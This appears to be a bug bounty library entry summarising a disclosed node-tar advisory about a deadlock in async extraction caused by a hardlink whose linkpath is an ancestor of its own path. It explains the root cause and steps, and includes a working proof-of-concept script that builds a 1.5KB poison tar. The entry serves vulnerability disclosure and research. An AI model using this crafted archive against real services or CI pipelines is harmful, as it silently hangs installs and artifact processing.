# node-tar async extraction deadlocks permanently when an entry's linkpath is a hierarchical relative of its own path

Crafted 1.5KB tar with a Link entry whose linkpath is an ancestor of its own path permanently deadlocks node-tar's async extraction, silently hanging the promise.

- Payout: Research
- Severity: high
- Program: node-tar
- Found by: president-xd, eros938, hash3liZer
- Disclosed: 2026-12-02
- CVE: CVE-2026-140251
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-98v3-7xjr-fg83
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-98v3-7xjr-fg83
- Tags: area:oss domain:oss impact:dos kind:research platform:ghsa sev:high tech:nodejs technique:race-window technique:source-review vuln:dos

**Target:** npm tar package async extraction (PathReservations queue)
**Root cause:** When an entry's path and linkpath are hierarchically related, the same queue key is written twice: once as a function head (path reservation) and once as a Set (dir reservation), so check()'s requirement that q[0] be a Set containing fn is permanently false.
**Steps:**
1. Build a 512-byte header: `new Header({ path: 'a/b', type: 'Link', linkpath: 'a', size: 0, mode: 0o644 }).encode(b, 0)`
2. Concatenate with 1024 zero bytes and write to poison.tar
3. Call `x({ cwd: dir, file: dir + '/poison.tar' })` and await the promise
4. Observe the promise never resolves or rejects; no warning emitted; subsequent entries skipped
5. Alternate routes: PAX `linkpath=a` record on a File entry at `a/b`, or GNU `K` long-linkname entry
**How found:** Code reading of src/path-reservations.ts: noticed reserve() writes both a function and a Set at the same key when path and linkpath are hierarchically related, then traced check()'s q[0] instanceof Set condition to prove it can never be satisfied.
**Exploitation:** Attacker supplies a ~1.5KB tar archive to any service or pipeline using default async tar.x()/tar.extract() on POSIX; the extraction promise hangs forever, wedging npm/CI installs and artifact processing with no error surfaced.
**Insight:** When a reservation/locking structure keys both individual items and their ancestor directories into one map, test inputs where an item's two identifiers are ancestor/descendant of each other — the same key gets two different value types and head-of-queue checks silently fail.

## Proof of concept (copied exactly from the original report)

**PoC script crafting hardlink with ancestor linkpath**

```
const { Header, x } = require('tar')
const fs = require('fs')
const dir = '/tmp/resv-hang'; fs.rmSync(dir, {recursive:true, force:true}); fs.mkdirSync(dir, {recursive:true})
const b = Buffer.alloc(512)
new Header({ path: 'a/b', type: 'Link', linkpath: 'a', size: 0, mode: 0o644 }).encode(b, 0) // linkpath 'a' is ancestor of 'a/b'
fs.writeFileSync(dir + '/poison.tar', Buffer.concat([b, Buffer.alloc(1024)]))
let settled = 'NEVER'
x({ cwd: dir, file: dir + '/poison.tar' }).then(() => settled='RESOLVED').catch(() => settled='REJECTED')
const keepalive = setInterval(() => {}, 100) // hold the loop open so an unsettled promise is a true hang
setTimeout(() => { clearInterval(keepalive); console.log('result:', settled); process.exit(0) }, 4000)
```

